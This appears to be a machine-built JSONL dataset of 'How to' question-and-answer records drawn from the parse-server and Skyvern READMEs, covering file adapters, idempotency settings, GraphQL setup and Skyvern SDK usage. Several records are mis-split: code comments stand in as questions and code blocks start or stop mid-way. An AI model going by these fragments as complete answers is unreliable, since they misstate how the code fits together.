{"id": "gh_29670e272800", "question": "How to: Configuring File Adapters", "question_body": "About parse-community/parse-server", "answer": "Parse Server allows developers to choose from several options when hosting files:\n\n- `GridFSBucketAdapter` - which is backed by MongoDB\n- `S3Adapter` - which is backed by [Amazon S3](https://aws.amazon.com/s3/)\n- `GCSAdapter` - which is backed by [Google Cloud Storage](https://cloud.google.com/storage/)\n- `FSAdapter` - local file storage\n\n`GridFSBucketAdapter` is used by default and requires no setup, but if you're interested in using Amazon S3, Google Cloud Storage, or local file storage, additional configuration information is available in the [Parse Server guide](http://docs.parseplatform.org/parse-server/guide/#configuring-file-adapters).", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015949"}
{"id": "gh_14922b031c8b", "question": "How to: Idempotency Enforcement", "question_body": "About parse-community/parse-server", "answer": "**Caution, this is an experimental feature that may not be appropriate for production.**\n\nThis feature deduplicates identical requests that are received by Parse Server multiple times, typically due to network issues or network adapter access restrictions on mobile operating systems.\n\nIdentical requests are identified by their request header `X-Parse-Request-Id`. Therefore a client request has to include this header for deduplication to be applied. Requests that do not contain this header cannot be deduplicated and are processed normally by Parse Server. This means rolling out this feature to clients is seamless as Parse Server still processes requests without this header when this feature is enabled.\n\n> This feature needs to be enabled on the client side to send the header and on the server to process the header. Refer to the specific Parse SDK docs to see whether the feature is supported yet.\n\nDeduplication is only done for object creation and update (`POST` and `PUT` requests). Deduplication is not done for object finding and deletion (`GET` and `DELETE` requests), as these operations are already idempotent by definition.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015955"}
{"id": "gh_b04e09cc8eac", "question": "How to: Configuration example <!-- omit in toc -->", "question_body": "About parse-community/parse-server", "answer": "```\nlet api = new ParseServer({\n    idempotencyOptions: {\n        paths: [\".*\"],       // enforce for all requests\n        ttl: 120             // keep request IDs for 120s\n    }\n}\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015960"}
{"id": "gh_d02de5099673", "question": "How to: Parameters <!-- omit in toc -->", "question_body": "About parse-community/parse-server", "answer": "| Parameter                  | Optional | Type            | Default value | Example values                                                                                                                                                                                                                                                              | Environment variable                          | Description                                                                                                                                                                                                                                                                                                                                                                                                                                          |\n| -------------------------- | -------- | --------------- | ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| `idempotencyOptions`       | yes      | `Object`        | `undefined`   |                                                                                                                                                                                                                                                                             | PARSE_SERVER_EXPERIMENTAL_IDEMPOTENCY_OPTIONS | Setting this enables idempotency enforcement for the specified paths.                                                                                                                                                                                                                                                                                                                                                                                |\n| `idempotencyOptions.paths` | yes      | `Array\n` | `[]`          | `.*` (all paths, includes the examples below),\n`functions/.*` (all functions),\n`jobs/.*` (all jobs),\n`classes/.*` (all classes),\n`functions/.*` (all functions),\n`users` (user creation / update),\n`installations` (installation creation / update) | PARSE_SERVER_EXPERIMENTAL_IDEMPOTENCY_PATHS   | An array of path patterns that have to match the request path for request deduplication to be enabled. The mount path must not be included, for example to match the request path `/parse/functions/myFunction` specify the path pattern `functions/myFunction`. A trailing slash of the request path is ignored, for example the path pattern `functions/myFunction` matches both `/parse/functions/myFunction` and `/parse/functions/myFunction/`. |\n| `idempotencyOptions.ttl`   | yes      | `Integer`       | `300`         | `60` (60 seconds)                                                                                                                                                                                                                                                           | PARSE_SERVER_EXPERIMENTAL_IDEMPOTENCY_TTL     | The duration in seconds after which a request record is discarded from the database. Duplicate requests due to network issues can be expected to arrive within milliseconds up to several seconds. This value must be greater than `0`.                                                                                                                                                                                                              |", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015969"}
{"id": "gh_7dc15c81d8e9", "question": "How to: Postgres <!-- omit in toc -->", "question_body": "About parse-community/parse-server", "answer": "To use this feature in Postgres, you will need to create a cron job using [pgAdmin](https://www.pgadmin.org/docs/pgadmin4/development/pgagent_jobs.html) or similar to call the Postgres function `idempotency_delete_expired_records()` that deletes expired idempotency records. You can find an example script below. Make sure the script has the same privileges to log into Postgres as Parse Server.\n\n```bash\n#!/bin/bash\n\nset -e\npsql -v ON_ERROR_STOP=1 --username \"$POSTGRES_USER\" --dbname \"$POSTGRES_DB\" <<-EOSQL\n    SELECT idempotency_delete_expired_records();\nEOSQL\n\nexec \"$@\"\n```\n\nAssuming the script above is named, `parse_idempotency_delete_expired_records.sh`, a cron job that runs the script every 2 minutes may look like:\n\n```bash\n2 * * * * /root/parse_idempotency_delete_expired_records.sh >/dev/null 2>&1\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.015974"}
{"id": "gh_3803e1670e52", "question": "How to: Notes <!-- omit in toc -->", "question_body": "About parse-community/parse-server", "answer": "- In combination with the [Parse Server API Mail Adapter](https://www.npmjs.com/package/parse-server-api-mail-adapter) Parse Server provides a fully localized flow (emails -> pages) for the user. The email adapter sends a localized email and adds a locale parameter to the password reset or email verification link, which is then used to respond with localized pages.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016007"}
{"id": "gh_0fd0164107cb", "question": "How to: Deprecations", "question_body": "About parse-community/parse-server", "answer": "See the [Deprecation Plan](https://github.com/parse-community/parse-server/blob/master/DEPRECATIONS.md) for an overview of deprecations and planned breaking changes.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016013"}
{"id": "gh_4f25260beffe", "question": "How to: Live Query", "question_body": "About parse-community/parse-server", "answer": "Live queries are meant to be used in real-time reactive applications, where just using the traditional query paradigm could cause several problems, like increased response time and high network and server usage. Live queries should be used in cases where you need to continuously update a page with fresh data coming from the database, which often happens in (but is not limited to) online games, messaging clients and shared to-do lists.\n\nTake a look at [Live Query Guide](https://docs.parseplatform.org/parse-server/guide/#live-queries), [Live Query Server Setup Guide](https://docs.parseplatform.org/parse-server/guide/#scalability) and [Live Query Protocol Specification](https://github.com/parse-community/parse-server/wiki/Parse-LiveQuery-Protocol-Specification). You can setup a standalone server or multiple instances for scalability (recommended).", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016018"}
{"id": "gh_87f535cc82ef", "question": "How to: Using the CLI", "question_body": "About parse-community/parse-server", "answer": "The easiest way to run the Parse GraphQL API is through the CLI:\n\n```bash\n$ npm install -g parse-server mongodb-runner\n$ mongodb-runner start\n$ parse-server --appId APPLICATION_ID --masterKey MASTER_KEY --databaseURI mongodb://localhost/test --publicServerURL http://localhost:1337/parse --mountGraphQL --mountPlayground\n```\n\nAfter starting the server, you can visit http://localhost:1337/playground in your browser to start playing with your GraphQL API.\n\n**_Note:_** Do **_NOT_** use --mountPlayground option in production. [Parse Dashboard](https://github.com/parse-community/parse-dashboard) has a built-in GraphQL Playground and it is the recommended option for production apps.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016023"}
{"id": "gh_8e51b9d569ed", "question": "How to: Using Docker", "question_body": "About parse-community/parse-server", "answer": "You can also run the Parse GraphQL API inside a Docker container:\n\n```bash\n$ git clone https://github.com/parse-community/parse-server\n$ cd parse-server\n$ docker build --tag parse-server .\n$ docker run --name my-mongo -d mongo\n```\n\n#### Running the Parse Server Image\n```bash\n$ docker run --name my-parse-server --link my-mongo:mongo -v config-vol:/parse-server/config -p 1337:1337 -d parse-server --appId APPLICATION_ID --masterKey MASTER_KEY --databaseURI mongodb://mongo/test --publicServerURL http://localhost:1337/parse --mountGraphQL --mountPlayground\n```\n\n**_Note:_** _If you want to use [Cloud Code](https://docs.parseplatform.org/cloudcode/guide/), add `-v cloud-code-vol:/parse-server/cloud --cloud /parse-server/cloud/main.js` to the command above. Make sure `main.js` is in the `cloud-code-vol` directory before starting Parse Server._\n\nAfter starting the server, you can visit http://localhost:1337/playground in your browser to start playing with your GraphQL API.\n\n**_Note:_** Do **_NOT_** use --mountPlayground option in production. [Parse Dashboard](https://github.com/parse-community/parse-dashboard) has a built-in GraphQL Playground and it is the recommended option for production apps.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016029"}
{"id": "gh_1232ebdf90bc", "question": "How to: Using Express.js", "question_body": "About parse-community/parse-server", "answer": "You can also mount the GraphQL API in an Express.js application together with the REST API or solo. You first need to create a new project and install the required dependencies:\n\n```bash\n$ mkdir my-app\n$ cd my-app\n$ npm install parse-server express --save\n```\n\nThen, create an `index.js` file with the following content:\n\n```js\nconst express = require('express');\nconst { ParseServer, ParseGraphQLServer } = require('parse-server');\n\nconst app = express();\n\nconst parseServer = new ParseServer({\n  databaseURI: 'mongodb://localhost:27017/test',\n  appId: 'APPLICATION_ID',\n  masterKey: 'MASTER_KEY',\n  serverURL: 'http://localhost:1337/parse',\n  publicServerURL: 'http://localhost:1337/parse',\n});\n\nconst parseGraphQLServer = new ParseGraphQLServer(parseServer, {\n  graphQLPath: '/graphql',\n  playgroundPath: '/playground',\n});\n\napp.use('/parse', parseServer.app); // (Optional) Mounts the REST API\nparseGraphQLServer.applyGraphQL(app); // Mounts the GraphQL API\nparseGraphQLServer.applyPlayground(app); // (Optional) Mounts the GraphQL Playground - do NOT use in Production\n\nawait parseServer.start();\napp.listen(1337, function () {\n  console.log('REST API running on http://localhost:1337/parse');\n  console.log('GraphQL API running on http://localhost:1337/graphql');\n  console.log('GraphQL Playground running on http://localhost:1337/playground');\n});\n```\n\nAnd finally start your app:\n\n```bash\n$ npx mongodb-runner start\n$ node index.js\n```\n\nAfter starting the app, you can visit http://localhost:1337/playground in your browser to start playing with your GraphQL API.\n\n**_Note:_** Do **_NOT_** mount the GraphQL Playground in production. [Parse Dashboard](https://github.com/parse-community/parse-dashboard) has a built-in GraphQL Playground and it is the recommended option for production apps.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016037"}
{"id": "gh_c8c5441e33be", "question": "How to: Checking the API health", "question_body": "About parse-community/parse-server", "answer": "Run the following:\n\n```graphql\nquery Health {\n  health\n}\n```\n\nYou should receive the following response:\n\n```json\n{\n  \"data\": {\n    \"health\": true\n  }\n}\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016042"}
{"id": "gh_438d939c2b6e", "question": "How to: Creating your first class", "question_body": "About parse-community/parse-server", "answer": "Since your application does not have any schema yet, you can use the `createClass` mutation to create your first class. Run the following:\n\n```graphql\nmutation CreateClass {\n  createClass(\n    name: \"GameScore\"\n    schemaFields: {\n      addStrings: [{ name: \"playerName\" }]\n      addNumbers: [{ name: \"score\" }]\n      addBooleans: [{ name: \"cheatMode\" }]\n    }\n  ) {\n    name\n    schemaFields {\n      name\n      __typename\n    }\n  }\n}\n```\n\nYou should receive the following response:\n\n```json\n{\n  \"data\": {\n    \"createClass\": {\n      \"name\": \"GameScore\",\n      \"schemaFields\": [\n        {\n          \"name\": \"objectId\",\n          \"__typename\": \"SchemaStringField\"\n        },\n        {\n          \"name\": \"updatedAt\",\n          \"__typename\": \"SchemaDateField\"\n        },\n        {\n          \"name\": \"createdAt\",\n          \"__typename\": \"SchemaDateField\"\n        },\n        {\n          \"name\": \"playerName\",\n          \"__typename\": \"SchemaStringField\"\n        },\n        {\n          \"name\": \"score\",\n          \"__typename\": \"SchemaNumberField\"\n        },\n        {\n          \"name\": \"cheatMode\",\n          \"__typename\": \"SchemaBooleanField\"\n        },\n        {\n          \"name\": \"ACL\",\n          \"__typename\": \"SchemaACLField\"\n        }\n      ]\n    }\n  }\n}\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016050"}
{"id": "gh_f2b2dab9d5ab", "question": "How to: Using automatically generated operations", "question_body": "About parse-community/parse-server", "answer": "Parse Server learned from the first class that you created and now you have the `GameScore` class in your schema. You can now start using the automatically generated operations!\n\nRun the following to create your first object:\n\n```graphql\nmutation CreateGameScore {\n  createGameScore(fields: { playerName: \"Sean Plott\", score: 1337, cheatMode: false }) {\n    id\n    updatedAt\n    createdAt\n    playerName\n    score\n    cheatMode\n    ACL\n  }\n}\n```\n\nYou should receive a response similar to this:\n\n```json\n{\n  \"data\": {\n    \"createGameScore\": {\n      \"id\": \"XN75D94OBD\",\n      \"updatedAt\": \"2019-09-17T06:50:26.357Z\",\n      \"createdAt\": \"2019-09-17T06:50:26.357Z\",\n      \"playerName\": \"Sean Plott\",\n      \"score\": 1337,\n      \"cheatMode\": false,\n      \"ACL\": null\n    }\n  }\n}\n```\n\nYou can also run a query to this new class:\n\n```graphql\nquery GameScores {\n  gameScores {\n    results {\n      id\n      updatedAt\n      createdAt\n      playerName\n      score\n      cheatMode\n      ACL\n    }\n  }\n}\n```\n\nYou should receive a response similar to this:\n\n```json\n{\n  \"data\": {\n    \"gameScores\": {\n      \"results\": [\n        {\n          \"id\": \"XN75D94OBD\",\n          \"updatedAt\": \"2019-09-17T06:50:26.357Z\",\n          \"createdAt\": \"2019-09-17T06:50:26.357Z\",\n          \"playerName\": \"Sean Plott\",\n          \"score\": 1337,\n          \"cheatMode\": false,\n          \"ACL\": null\n        }\n      ]\n    }\n  }\n}\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016059"}
{"id": "gh_6f6bce7e4ee4", "question": "How to: Customizing your GraphQL Schema", "question_body": "About parse-community/parse-server", "answer": "Parse GraphQL Server allows you to create a custom GraphQL schema with own queries and mutations to be merged with the auto-generated ones. You can resolve these operations using your regular cloud code functions.\n\nTo start creating your custom schema, you need to code a `schema.graphql` file and initialize Parse Server with `--graphQLSchema` and `--cloud` options:\n\n```bash\n$ parse-server --appId APPLICATION_ID --masterKey MASTER_KEY --databaseURI mongodb://localhost/test --publicServerURL http://localhost:1337/parse --cloud ./cloud/main.js --graphQLSchema ./cloud/schema.graphql --mountGraphQL --mountPlayground\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016065"}
{"id": "gh_56e8e90fe312", "question": "How to: Creating your first custom query <!-- omit in toc -->", "question_body": "About parse-community/parse-server", "answer": "Use the code below for your `schema.graphql` and `main.js` files. Then restart your Parse Server.\n\n```graphql", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016069"}
{"id": "gh_bc72feec361a", "question": "How to: schema.graphql", "question_body": "About parse-community/parse-server", "answer": "extend type Query {\n  hello: String! @resolve\n}\n```\n\n```js\n// main.js\nParse.Cloud.define('hello', async () => {\n  return 'Hello world!';\n});\n```\n\nYou can now run your custom query using GraphQL Playground:\n\n```graphql\nquery {\n  hello\n}\n```\n\nYou should receive the response below:\n\n```json\n{\n  \"data\": {\n    \"hello\": \"Hello world!\"\n  }\n}\n```", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": true, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016075"}
{"id": "gh_c7804ea8bcb7", "question": "How to: Learning more", "question_body": "About parse-community/parse-server", "answer": "The [Parse GraphQL Guide](http://docs.parseplatform.org/graphql/guide/) is a very good source for learning how to use the Parse GraphQL API.\n\nYou also have a very powerful tool inside your GraphQL Playground. Please look at the right side of your GraphQL Playground. You will see the `DOCS` and `SCHEMA` menus. They are automatically generated by analyzing your application schema. Please refer to them and learn more about everything that you can do with your Parse GraphQL API.\n\nAdditionally, the [GraphQL Learn Section](https://graphql.org/learn/) is a very good source to learn more about the power of the GraphQL language.", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016080"}
{"id": "gh_93c4b6ae84a8", "question": "How to: Contributing", "question_body": "About parse-community/parse-server", "answer": "Please see the [Contributing Guide](CONTRIBUTING.md).", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016084"}
{"id": "gh_0724847237bb", "question": "How to: Contributors", "question_body": "About parse-community/parse-server", "answer": "This project exists thanks to all the people who contribute... we'd love to see your face on this list!", "tags": ["parse-community"], "source": "github_gists", "category": "parse-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 21343, "answer_score": 10, "has_code": false, "url": "https://github.com/parse-community/parse-server", "collected_at": "2026-01-17T12:59:22.016088"}
{"id": "gh_52051a1c15ed", "question": "How to: How it works", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern was inspired by the Task-Driven autonomous agent design popularized by [BabyAGI](https://github.com/yoheinakajima/babyagi) and [AutoGPT](https://github.com/Significant-Gravitas/AutoGPT) -- with one major bonus: we give Skyvern the ability to interact with websites using browser automation libraries like [Playwright](https://playwright.dev/).\n\nSkyvern uses a swarm of agents to comprehend a website, and plan and execute its actions:\nThis approach has a few advantages:\n\n1. Skyvern can operate on websites it's never seen before, as it's able to map visual elements to actions necessary to complete a workflow, without any customized code\n1. Skyvern is resistant to website layout changes, as there are no pre-determined XPaths or other selectors our system is looking for while trying to navigate\n1. Skyvern is able to take a single workflow and apply it to a large number of websites, as it's able to reason through the interactions necessary to complete the workflow\n1. Skyvern leverages LLMs to reason through interactions to ensure we can cover complex situations. Examples include:\n    1. If you wanted to get an auto insurance quote from Geico, the answer to a common question \"Were you eligible to drive at 18?\" could be inferred from the driver receiving their license at age 16\n    1. If you were doing competitor analysis, it's understanding that an Arnold Palmer 22 oz can at 7/11 is almost definitely the same product as a 23 oz can at Gopuff (even though the sizes are slightly different, which could be a rounding error!)\n\nA detailed technical report can be found [here](https://www.skyvern.com/blog/skyvern-2-0-state-of-the-art-web-navigation-with-85-8-on-webvoyager-eval/).", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860827"}
{"id": "gh_ab5321b1a746", "question": "How to: Performance & Evaluation", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern has SOTA performance on the [WebBench benchmark](webbench.ai) with a 64.4% accuracy. The technical report + evaluation can be found [here](https://www.skyvern.com/blog/web-bench-a-new-way-to-compare-ai-browser-agents/)", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860840"}
{"id": "gh_26e03053cf22", "question": "How to: Performance on WRITE tasks (eg filling out forms, logging in, downloading files, etc)", "question_body": "About Skyvern-AI/skyvern", "answer": "Skyvern is the best performing agent on WRITE tasks (eg filling out forms, logging in, downloading files, etc), which is primarily used for RPA (Robotic Process Automation) adjacent tasks.", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860847"}
{"id": "gh_b806c2574ae6", "question": "How to: Skyvern Cloud", "question_body": "About Skyvern-AI/skyvern", "answer": "[Skyvern Cloud](https://app.skyvern.com) is a managed cloud version of Skyvern that allows you to run Skyvern without worrying about the infrastructure. It allows you to run multiple Skyvern instances in parallel and comes bundled with anti-bot detection mechanisms, proxy network, and CAPTCHA solvers.\n\nIf you'd like to try it out, navigate to [app.skyvern.com](https://app.skyvern.com) and create an account.", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860854"}
{"id": "gh_f6303c0c054c", "question": "How to: Install & Run", "question_body": "About Skyvern-AI/skyvern", "answer": "Dependencies needed:\n- [Python 3.11.x](https://www.python.org/downloads/), works with 3.12, not ready yet for 3.13\n- [NodeJS & NPM](https://nodejs.org/en/download/)\n\nAdditionally, for Windows:\n- [Rust](https://rustup.rs/)\n- VS Code with C++ dev tools and Windows SDK", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860860"}
{"id": "gh_4d2dc5aeefe1", "question": "How to: 2. Run Skyvern", "question_body": "About Skyvern-AI/skyvern", "answer": "This is most helpful for first time run (db setup, db migrations etc).\n\n```bash\nskyvern quickstart\n```", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860866"}
{"id": "gh_81940d60891d", "question": "How to: 3. Run task", "question_body": "About Skyvern-AI/skyvern", "answer": "#### UI (Recommended)\n\nStart the Skyvern service and UI (when DB is up and running)\n\n```bash\nskyvern run all\n```\n\nGo to http://localhost:8080 and use the UI to run a task\n\n#### Code\n\n```python\nfrom skyvern import Skyvern\n\nskyvern = Skyvern()\ntask = await skyvern.run_task(prompt=\"Find the top post on hackernews today\")\nprint(task)\n```\nSkyvern starts running the task in a browser that pops up and closes it when the task is done. You will be able to view the task from http://localhost:8080/history\n\nYou can also run a task on different targets:\n```python\nfrom skyvern import Skyvern", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860873"}
{"id": "gh_2c22987bf00a", "question": "How to: Local Skyvern service", "question_body": "About Skyvern-AI/skyvern", "answer": "skyvern = Skyvern(base_url=\"http://localhost:8000\", api_key=\"LOCAL SKYVERN API KEY\")\n\ntask = await skyvern.run_task(prompt=\"Find the top post on hackernews today\")\nprint(task)\n```", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860880"}
{"id": "gh_289e4d552a3f", "question": "How to: Launch a cloud browser", "question_body": "About Skyvern-AI/skyvern", "answer": "browser = await skyvern.launch_cloud_browser()\npage = await browser.get_working_page()", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860887"}
{"id": "gh_56f1d7bcfd34", "question": "How to: Use AI-powered actions for complex workflows", "question_body": "About Skyvern-AI/skyvern", "answer": "await page.agent.run_task(\"Navigate to the most recent invoice and download it\")", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860892"}
{"id": "gh_4f603c6e9c7c", "question": "How to: Or mix with Playwright actions", "question_body": "About Skyvern-AI/skyvern", "answer": "await page.goto(\"https://example.com\")\nawait page.click(\"#button\")\n```", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860897"}
{"id": "gh_01dc60343398", "question": "How to: TypeScript SDK", "question_body": "About Skyvern-AI/skyvern", "answer": "```typescript\nimport { Skyvern } from \"@skyvern/client\";\n\n// Connect to Skyvern Cloud\nconst skyvern = new Skyvern({ apiKey: \"your-api-key\" });\n\n// Launch a cloud browser\nconst browser = await skyvern.launchCloudBrowser();\nconst page = await browser.getWorkingPage();\n\n// Use AI-powered actions for complex workflows\nawait page.agent.runTask(\"Navigate to the most recent invoice and download it\");\n\n// Or mix with Playwright actions\nawait page.goto(\"https://example.com\");\nawait page.click(\"#button\");\n```\n\nSkyvern enhances Playwright methods with AI capabilities. Use regular Playwright syntax with a `prompt` parameter to make any action AI-powered:\n\n```python", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860904"}
{"id": "gh_53bb307c20b6", "question": "How to: AI-augmented Playwright - uses natural language", "question_body": "About Skyvern-AI/skyvern", "answer": "await page.click(prompt=\"Click on the Submit button\")\nawait page.fill(prompt=\"Enter email address\", value=\"user@example.com\")", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 20132, "answer_score": 10, "has_code": false, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860910"}
{"id": "gh_632b2a845b1b", "question": "How to: Mix both approaches in the same workflow", "question_body": "About Skyvern-AI/skyvern", "answer": "await page.goto(\"https://example.com/dashboard\")\nawait page.click(prompt=\"Click on the most recent unpaid invoice\")\nawait page.click(\"#download-button\")\n```", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860915"}
{"id": "gh_235c92db62ba", "question": "How to: Control your own browser (Chrome)", "question_body": "About Skyvern-AI/skyvern", "answer": "> [!WARNING]\n> Since [Chrome 136](https://developer.chrome.com/blog/remote-debugging-port), Chrome refuses any CDP connect to the browser using the default user_data_dir. In order to use your browser data, Skyvern copies your default user_data_dir to `./tmp/user_data_dir` the first time connecting to your local browser.\n\n1. Just With Python Code\n```python\nfrom skyvern import Skyvern", "tags": ["Skyvern-AI"], "source": "github_gists", "category": "Skyvern-AI", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 20132, "answer_score": 10, "has_code": true, "url": "https://github.com/Skyvern-AI/skyvern", "collected_at": "2026-01-17T12:59:27.860921"}
